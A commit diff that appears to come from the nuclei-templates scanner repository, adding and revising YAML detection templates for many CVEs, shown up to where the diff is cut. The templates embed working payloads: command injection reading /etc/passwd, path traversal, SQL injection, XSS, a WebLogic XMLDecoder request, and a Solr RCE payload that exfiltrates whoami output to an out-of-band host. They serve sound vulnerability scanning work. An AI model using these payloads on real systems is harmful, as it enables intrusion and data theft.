strict matcher

Added zenario-login-panel

.github/workflows/syntax-checking.yml

@@ -1,4 +1,4 @@
-name: syntax-checking
+name: ❄️ YAML Lint
 
 on: [push, pull_request]
 

.github/workflows/update-readme.yml

@@ -1,4 +1,4 @@
-name: "Auto Update README"
+name: 📝 Readme Update
 
 on:
   push:

.nuclei-ignore

@@ -8,7 +8,6 @@
 # unless asked for by the user.
 
 tags: 
-  - "headless"
   - "dos"
   - "iot"
   - "misc"

README.md

@@ -38,13 +38,13 @@ An overview of the nuclei template directory including number of templates assoc
 
 | Templates        | Counts                         | Templates       | Counts                          | Templates      | Counts                       |
 | ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
-| cves             | 296           | vulnerabilities | 134 | exposed-panels | 121 |
-| takeovers        | 67        | exposures       | 79       | technologies   | 64   |
-| misconfiguration | 56 | workflows       | 30         | miscellaneous  | 20  |
-| default-logins   | 24 | exposed-tokens  | 0  | dns            | 8            |
-| fuzzing          | 8          | helpers         | 7         | iot            | 11            |
+| cves             | 325           | vulnerabilities | 176 | exposed-panels | 144 |
+| takeovers        | 67        | exposures       | 105       | technologies   | 97   |
+| misconfiguration | 66 | workflows       | 31         | miscellaneous  | 22  |
+| default-logins   | 30 | exposed-tokens  | 0  | dns            | 9            |
+| fuzzing          | 9          | helpers         | 8         | iot            | 12            |
 
-**102 directories, 1001 files**.
+**110 directories, 1189 files**.
 
 </td>
 </tr>

cves/2009/CVE-2009-0545.yaml

@@ -0,0 +1,20 @@
+id: CVE-2009-0545
+
+info:
+  name: ZeroShell <= 1.0beta11 Remote Code Execution
+  author: geeknik
+  description: cgi-bin/kerbynet in ZeroShell 1.0beta11 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the type parameter in a NoAuthREQ x509List action.
+  reference: https://www.exploit-db.com/exploits/8023
+  severity: critical
+  tags: cve,cve2009,zeroshell,kerbynet,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:[x*]:0:0:"

cves/2009/CVE-2009-1151.yaml

@@ -7,7 +7,7 @@ info:
   description: Setup script used to generate configuration can be fooled using a crafted POST request to include arbitrary PHP code in generated configuration file. Combined with ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.
   reference: https://www.phpmyadmin.net/security/PMASA-2009-3/
   vulhub: https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
-  tags: phpmyadmin,rce,deserialization
+  tags: cve,cve2009,phpmyadmin,rce,deserialization
 
 requests:
   - raw:

cves/2014/CVE-2014-3744.yaml

@@ -0,0 +1,25 @@
+id: CVE-2014-3744
+
+info:
+  name: Node.js st module Directory Traversal
+  author: geeknik
+  description: Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.
+  reference: |
+    - https://github.com/advisories/GHSA-69rr-wvh9-6c4q
+    - https://snyk.io/vuln/npm:st:20140206
+  severity: high
+  tags: cve,cve2014,lfi,nodejs,st
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/2015/CVE-2015-2080.yaml

@@ -10,6 +10,7 @@ info:
     - http://packetstormsecurity.com/files/130567/Jetty-9.2.8-Shared-Buffer-Leakage.html
   description: |
        The exception handling code in Eclipse Jetty before 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header, aka JetLeak
+  tags: cve,cve2015,jetty
 
 requests:
   - method: POST

cves/2016/CVE-2016-10033.yaml

@@ -37,7 +37,6 @@ requests:
         part: body
         regex:
           - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
-          - 'ocation: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'
 
     matchers-condition: and
     matchers:

cves/2017/CVE-2017-1000486.yaml

@@ -0,0 +1,33 @@
+id: CVE-2017-1000486
+
+info:
+  name: Primetek Primefaces 5.x EL Injection - RCE
+  author: Moritz Nentwig
+  severity: critical
+  description: Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution
+  reference: |
+      - https://github.com/mogwailabs/CVE-2017-1000486
+      - https://github.com/pimps/CVE-2017-1000486
+      - https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-1000486
+  tags: cve,cve2017,primetek,rce
+
+requests:
+  - raw:
+      - |
+        POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Length: 160
+        Accept: */*
+        Accept-Language: en
+        Content-Type: application/x-www-form-urlencoded
+        Accept-Encoding: gzip, deflate
+
+        pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D
+
+    matchers:
+      - type: word
+        words:
+          - 'Mogwailabs: CHECKCHECK'
+        part: header

cves/2017/CVE-2017-12149.yaml

@@ -0,0 +1,39 @@
+id: CVE-2017-12149
+
+info:
+  name: Java/Jboss Deserialization [RCE]
+  author: fopina
+  severity: critical
+  description: In Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2, it was found that the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization and thus allowing an attacker to execute arbitrary code via crafted serialized data.
+  reference: |
+        - https://nvd.nist.gov/vuln/detail/CVE-2017-12149
+        - https://chowdera.com/2020/12/20201229190934023w.html
+        - https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
+  tags: cve,cve2017,java,rce,deserialization
+
+requests:
+  - raw:
+      - |
+        POST /invoker/JMXInvokerServlet/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/octet-stream
+
+        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
+      - |
+        POST /invoker/EJBInvokerServlet/ HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/octet-stream
+
+        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "ClassCastException"
+        part: body
+
+      - type: word
+        words:
+          - "application/x-java-serialized-object"
+        part: header

cves/2017/CVE-2017-12629.yaml

@@ -0,0 +1,26 @@
+id: CVE-2017-12629
+
+info:
+  name: Apache Solr <= 7.1 Remote Code Execution via SSRF
+  author: dwisiswant0
+  severity: critical
+  tags: cve,cve2017,solr,apache,rce,ssrf,oob
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-12629
+      - https://twitter.com/honoki/status/1298636315613974532/photo/1
+
+requests:
+  - raw:
+      - |
+        GET /solr/select?qt=%2Fconfig%2523%26&shards=127.0.0.1:8984/solq&stream.body=%7B%22add-listener%22%3A%7B%22event%22%3A%22postCommit%22%2C%22name%22%3A%22nuclei%22%2C%22class%22%3A%22solr.RunExecutableListener%22%2C%22exe%22%3A%22sh%22%2C%22dir%22%3A%22%2Fbin%2F%22%2C%22args%22%3A%5B%22-c%22%2C%22%24%40%7Csh%22%2C%22.%22%2C%22echo%22%2C%22nslookup%22%2C%22%24%28whoami%29.{{interactsh-url}}%22%5D%7D%7D&wt=json&isShard=true&q=apple HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /solr/select?shards=127.0.0.1:8984/solr/update%23&commit=true HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"

cves/2017/CVE-2017-14535.yaml

@@ -0,0 +1,32 @@
+id: CVE-2017-14535
+
+info:
+  name: Trixbox - 2.8.0.4 OS Command Injection Vulnerability
+  author: pikpikcu
+  severity: high
+  reference: |
+        - https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
+        - https://www.exploit-db.com/exploits/49913
+  tags: cve,cve2017,trixbox,rce
+
+requests:
+  - raw:
+      - |
+        GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: de,en-US;q=0.7,en;q=0.3
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: close
+        Cache-Control: max-age=0
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-3506.yaml

@@ -0,0 +1,44 @@
+id: CVE-2017-3506
+
+info:
+  name: Oracle Weblogic Remote OS Command Execution
+  author: pdteam
+  description: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services). Supported versions that are affected are 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server.
+  severity: high
+  tags: cve,cve2017,weblogic,oracle,rce,oob
+  reference: |
+      - https://hackerone.com/reports/810778
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-3506
+
+requests:
+  - raw:
+      - |
+        POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
+        Content-Type: text/xml;charset=UTF-8
+        Content-Length: 873
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
+          <soapenv:Header>
+            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
+              <java version="1.8" class="java.beans.XMLDecoder">
+                <void id="url" class="java.net.URL">
+                  <string>http://{{interactsh-url}}</string>
+                </void>
+                <void idref="url">
+                  <void id="stream" method ="openStream"/>
+                </void>
+              </java>
+            </work:WorkContext>
+            </soapenv:Header>
+          <soapenv:Body/>
+        </soapenv:Envelope>
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"

cves/2017/CVE-2017-3528.yaml

@@ -0,0 +1,21 @@
+id: CVE-2017-3528
+
+info:
+  name: Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect
+  author: 0x_Akoko
+  severity: low
+  reference: |
+      - https://blog.zsec.uk/cve-2017-3528/
+      - https://www.exploit-db.com/exploits/43592
+  tags: oracle,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cexample.com"
+
+    matchers:
+      - type: word
+        words:
+          - 'noresize src="/\example.com?configName='
+        part: body

cves/2017/CVE-2017-7269.yaml

@@ -1,25 +1,31 @@
 id: CVE-2017-7269
 
 info:
-  name: CVE-2017-7269
-  author: thomas_from_offensity
+  name: Windows Server 2003 & IIS 6.0 RCE
+  author: thomas_from_offensity & @geeknik
   severity: critical
-  description: RCE - Buffer overflow in ScStoragePathFromUrl function (WebDAV service - IIS 6.0) - Windows Server 2003 R2
-  reference: https://github.com/danigargu/explodingcan/blob/master/explodingcan.py
+  description: Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If <http://" in a PROPFIND request.
+  reference:
+    - https://blog.0patch.com/2017/03/0patching-immortal-cve-2017-7269.html
+    - https://github.com/danigargu/explodingcan/blob/master/explodingcan.py
+  tags: cve,cve2017,rce
 
 requests:
   - method: OPTIONS
     path:
       - "{{BaseURL}}"
+
     matchers-condition: and
     matchers:
       - type: status
         status:
           - 200
+
       - type: word
         words:
           - "IIS/6.0"
         part: header
+
       - type: dsl
         dsl:
           - regex("<DAV:sql>", dasl)    # lowercase header name: DASL
@@ -27,4 +33,4 @@ requests:
           - regex(".*?PROPFIND", public)    # lowercase header name: Public
           - regex(".*?PROPFIND", allow)    # lowercase header name: Allow
         condition: or
-        part: header
+        part: header

cves/2017/CVE-2017-9506.yaml

@@ -9,14 +9,21 @@ info:
     - http://dontpanic.42.nl/2017/12/there-is-proxy-in-your-atlassian.html
     - https://ecosystem.atlassian.net/browse/OAUTH-344
     - https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-171018bca2c3
-  tags: cve,cve2017,atlassian,jira,ssrf
+  tags: cve,cve2017,atlassian,jira,ssrf,oob
 
 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/plugins/servlet/oauth/users/icon-uri?consumerUri=https://ipinfo.io/json"
+  - raw:
+      - |
+        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.9
+
     matchers:
       - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
         words:
-          - "ipinfo.io/missingauth"
-        part: body
+          - "http"

cves/2018/CVE-2018-0101.yaml

@@ -1,62 +0,0 @@
-id: CVE-2018-0101
-
-info:
-  name: Cisco ASA Denial-of-Service # Leads to RCE
-  author: dwisiswant0
-  severity: critical
-  reference: https://www.exploit-db.com/exploits/43986
-  description: |
-    A vulnerability in the XML parser of Cisco Adaptive Security Appliance (ASA) Software could allow an unauthenticated,
-    remote attacker to cause a reload of the affected system or to remotely execute code. It was also possible that
-    the ASA could stop processing incoming Virtual Private Network (VPN) authentication requests due to a low memory condition.
-  tags: cve,cve2018,cisco,dos,rce
-
-requests:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: */*
-
-      - |
-        POST / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: */*
-        Content-Type: application/x-www-form-urlencoded
-        X-Aggregate-Auth: 1
-        X-Transcend-Version: 1
-        Accept-Encoding: identity
-        X-AnyConnect-Platform: linux-64
-        X-Support-HTTP-Auth: false
-        X-Pad: 0000000000000000000000000000000000000000
-
-        <?xml version="1.0" encoding="UTF-8"?>
-        <config-auth client="a" type="a" aggregate-auth-version="a">
-            <host-scan-reply>A</host-scan-reply>
-        </config-auth>
-
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Accept: */*
-
-    req-condition: true
-    matchers-condition: and
-    matchers:
-      - type: dsl
-        dsl:
-          - "status_code_1 == 200"
-
-      - type: dsl
-        dsl:
-          - "status_code_2 == 500"
-          - "status_code_2 == 501"
-          - "status_code_2 == 502"
-          - "status_code_2 == 503"
-          - "status_code_2 == 504"
-        condition: or
-
-      - type: dsl
-        dsl:
-          - "status_code_3 == 200"
-        negative: true

cves/2018/CVE-2018-0296.yaml

@@ -11,12 +11,16 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"
+    headers:
+      Accept-Encoding: deflate
+
     matchers-condition: and
     matchers:
       - type: word
         words:
           - "///sessions"
         part: body
+
       - type: status
         status:
           - 200

cves/2018/CVE-2018-10141.yaml

@@ -0,0 +1,32 @@
+id: CVE-2018-10141
+
+info:
+  name: GlobalProtect Login page XSS
+  author: dhiyaneshDk
+  description: GlobalProtect Portal Login page in Palo Alto Networks PAN-OS before 8.1.4 allows an unauthenticated attacker to inject arbitrary JavaScript or HTML.
+  severity: medium
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-10141
+  tags: globalprotect,xss,cve,cve2018,vpn
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/global-protect/login.esp?user=j%22;-alert(1)-%22x'
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'var valueUser = "j";-alert(1)-"x";'
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
+
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-12634.yaml

@@ -0,0 +1,29 @@
+id: CVE-2018-12634
+
+info:
+  name: Exposed CirCarLife System Log
+  author: geeknik
+  description: CirCarLife is an internet-connected electric vehicle charging station
+  reference: https://circontrol.com/
+  severity: medium
+  tags: cve,cve2018,scada,circontrol,circarlife,logs
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/html/log"
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: header
+        words:
+          - "CirCarLife Scada"
+      - type: word
+        words:
+          - "user.debug"
+          - "user.info"
+          - "EVSE"
+        condition: and
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-8770.yaml

@@ -7,7 +7,7 @@ info:
   reference: |
     - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8770
     - https://www.exploit-db.com/exploits/44495/
-  tags: cobub,razor,exposure
+  tags: cve,cve2018,cobub,razor,exposure
 
 requests:
   - method: GET

cves/2019/CVE-2019-13462.yaml

@@ -0,0 +1,31 @@
+id: CVE-2019-13462
+
+info:
+  name: Lansweeper through 7.1.115.4 unauthenticated SQL injection
+  author: divya_mudgal
+  severity: critical
+  reference: https://www.nccgroup.com/ae/our-research/technical-advisory-unauthenticated-sql-injection-in-lansweeper/
+  description: Lansweeper web application through 7.1.115.4 allows unauthenticated SQL injection via the "row" and "column" GET parameter to the /WidgetHandler.ashx?MethodName=Sort&ID=1&column=INJECTION&row=INJECTION URI.
+  tags: cve,cve2019,sqli,lansweeper
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29'
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "~lansweeperdb~"
+        part: body
+
+      - type: word
+        words:
+          - text/plain
+        part: header
+
+      - type: status
+        status:
+          - 500

cves/2019/CVE-2019-17270.yaml

@@ -8,10 +8,7 @@ info:
     - https://www.exploit-db.com/exploits/47760
     - https://nvd.nist.gov/vuln/detail/CVE-2019-17270
   description: |
-    Yachtcontrol software is being used for controlling several aspects on yachts, as the name implies. Having access to the webapplication,
-    it's possible to control several items such as lights, powergenerator, solarcontrol, airco, wipers, heating and other components
-    Websoftware is built in PHP and mostly runs on a Linux based firmware device, controlling several other components related to the Yacht
-    Other related software running on the same firmware device are custom compiled ELF binaries for controlling related onboard devices
+    A vulnerability in Yachtcontrol makes it possible to perform direct Operating System commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}" page and parameter, where {COMMAND} will be executed and returning the results to the client. Affects Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.
   tags: rce,yachtcontrol,cve,cve2019
 
 requests:

cves/2019/CVE-2019-17382.yaml

@@ -6,12 +6,22 @@ info:
   severity: critical
   description: An issue was discovered in zabbix.php?action=dashboard.view&dashboardid=1 in Zabbix through 4.4. An attacker can bypass the login page and access the dashboard page, and then create a Dashboard, Report, Screen, or Map without any Username/Password (i.e., anonymously). All created elements (Dashboard/Report/Screen/Map) are accessible by other users and by an admin.
   reference: https://www.exploit-db.com/exploits/47467
-  tags: cve,cve2019,zabbix
+  tags: cve,cve2019,zabbix,fuzz
 
 requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/zabbix.php?action=dashboard.view&dashboardid=1'
+
+  - payloads:
+      ids: helpers/wordlists/numbers.txt
+
+    attack: sniper
+    threads: 50
+
+    raw:
+      - |
+        GET /zabbix.php?action=dashboard.view&dashboardid={{ids}} HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
+        Accept-Language: en-US,en;q=0.9
 
     matchers-condition: and
     matchers:

cves/2019/CVE-2019-17538.yaml

@@ -4,7 +4,7 @@ info:
   author: pussycat0x
   severity: high
   reference: https://github.com/shi-yang/jnoj/issues/53
-  tegs: cve.cve2019,jnoj,lfi
+  tags: cve.cve2019,jnoj,lfi
 
 requests:
   - raw:

cves/2019/CVE-2019-8446.yaml

@@ -0,0 +1,32 @@
+id: CVE-2019-8446
+
+info:
+  name: Jira Improper Authorization
+  description: The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check.
+  author: dhiyaneshDk
+  severity: medium
+  tags: cve,cve2019,jira
+
+requests:
+  - raw:
+      - |
+        POST /rest/issueNav/1/issueTable HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
+        Connection: Close
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
+        X-Atlassian-Token: no-check
+        Accept-Encoding: gzip, deflate
+        Accept-Language: en-US,en;q=0.9
+
+        {'jql':'project in projectsLeadByUser("{{randstr}}")'}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "the user does not exist"
+        part: body
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-11738.yaml

@@ -11,8 +11,7 @@ info:
     versions v1.3.24 and v1.3.26, the vulnerability wasn't
     present in versions 1.3.22 and before.
 
-    References:
-    - https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild
+  reference: https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild
   tags: cve,cve2020,wordpress,wp-plugin,lfi
 
 requests:

cves/2020/CVE-2020-11991.yaml

@@ -4,6 +4,7 @@ info:
   name: Apache Cocoon 2.1.12 XML Injection
   author: pikpikcu
   severity: high
+  tags: cve,cve2020,apache,xml,cocoon
   description: |
     When using the StreamGenerator, the code parse a user-provided XML. A specially crafted XML, including external system entities, could be used to access any file on the server system.
   reference: https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E

cves/2020/CVE-2020-13483.yaml

@@ -18,7 +18,7 @@ requests:
 
       - type: word
         words:
-          - "{alert(document.domain);}"
+          - "function(handler){};function __MobileAppList(test){alert(document.domain);};//</div>"
         part: body
 
       - type: word

cves/2020/CVE-2020-15227.yaml

@@ -0,0 +1,29 @@
+id: CVE-2020-15227
+
+info:
+  name: Nette Framework RCE
+  author: becivells
+  severity: high
+  description: Nette versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, 3.0.6 are vulnerable to an code injection attack by passing specially formed parameters to URL that may possibly leading to RCE. Nette is a PHP/Composer MVC Framework.
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2020-15227
+      - https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94
+      - https://www.pwnwiki.org/index.php?title=CVE-2020-15227_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E#
+      - https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md
+  tags: cve,cve2020,nette,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/nette.micro/?callback=shell_exec&cmd=cat%20/etc/passwd&what=-1"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-15500.yaml

@@ -11,7 +11,7 @@ info:
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/?key=%22%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E'
+      - '{{BaseURL}}/?key=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss%27%29%3E'
 
     matchers-condition: and
     matchers:
@@ -26,5 +26,5 @@ requests:
 
       - type: word
         words:
-          - '"><script>alert(document.domain);</script>'
+          - "'>\"<svg/onload=confirm('xss')>"
         part: body

cves/2020/CVE-2020-19625.yaml

@@ -1,3 +1,4 @@
+id: CVE-2020-19625
 info:
   name: Gridx 1.3 RCE
   author: geeknik
@@ -26,4 +27,4 @@ requests:
         part: body
         group: 1
         regex:
-          - "<h1 class=\"p\">PHP Version ([0-9.]+)<\/h1>"
+          - '<h1 class=\"p\">PHP Version ([0-9.]+)<\/h1>'

cves/2020/CVE-2020-28208.yaml

@@ -6,7 +6,7 @@ info:
   severity: medium
   description: An email address enumeration vulnerability exists in the password reset function of Rocket.Chat through 3.9.1.
   reference: https://trovent.io/security-advisory-2010-01
-  tags: rockethchat
+  tags: cve,cve2020,rockethchat
 
 requests:
   - raw:

cves/2020/CVE-2020-29164.yaml

@@ -11,7 +11,7 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/Pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E"
+      - "{{BaseURL}}/pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E"
 
     matchers-condition: and
     matchers:
@@ -25,3 +25,7 @@ requests:
         words:
           - '<img src="" onerror="alert(1);">1</img>'
         part: body
+
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-35489.yaml

@@ -26,5 +26,5 @@ requests:
 
       - type: regex
         regex:
-          - '^([0-4]\.|5\.[0-2]\.|5\.3\.[0-1]$)'
+          - '^= ([0-4]\.[0-9\.]+|5\.[0-2]|5\.[0-2]\.[0-9]+|5\.3\.[0-1]) ='
         part: body

cves/2020/CVE-2020-35736.yaml

@@ -0,0 +1,26 @@
+id: CVE-2020-35736
+
+info:
+  name: GateOne Arbitrary File Download
+  author: pikpikcu
+  severity: high
+  description: GateOne 1.1 allows arbitrary file download without authentication via /downloads/.. directory traversal because os.path.join is misused.
+  reference: |
+    - https://github.com/liftoff/GateOne/issues/747
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-35736
+  tags: cve,cve2020,gateone,lfi
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd'
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-35951.yaml

@@ -68,7 +68,7 @@ requests:
           - "not found in <b>([/a-z_]+)wp"
 
     req-condition: true
-    matchers-condition: or
+    matchers-condition: and
     matchers:
 
       - type: word

cves/2020/CVE-2020-36112.yaml

@@ -0,0 +1,33 @@
+id: CVE-2020-36112
+
+info:
+  name: CSE Bookstore 1.0 SQL Injection
+  author: geeknik
+  description: CSE Bookstore version 1.0 is vulnerable to time-based blind, boolean-based blind and OR error-based SQL injection in pubid parameter in bookPerPub.php. A successfull exploitation of this vulnerability  will lead to an attacker dumping the entire database.
+  reference: |
+      - https://www.exploit-db.com/exploits/49314
+      - https://www.tenable.com/cve/CVE-2020-36112
+  severity: critical
+  tags: cve,cve2020,sqli,cse
+
+requests:
+  - raw:
+      - |
+        GET /ebook/bookPerPub.php?pubid=4' HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Cookie: PHPSESSID=c4qd3glr3oe6earuf88sub6g1n
+        Upgrade-Insecure-Requests: 1
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "get book price failed! You have an error in your SQL syntax"
+          - "Can't retrieve data You have an error in your SQL syntax"
+        condition: or

cves/2020/CVE-2020-5776.yaml

@@ -6,7 +6,7 @@ info:
   severity: high
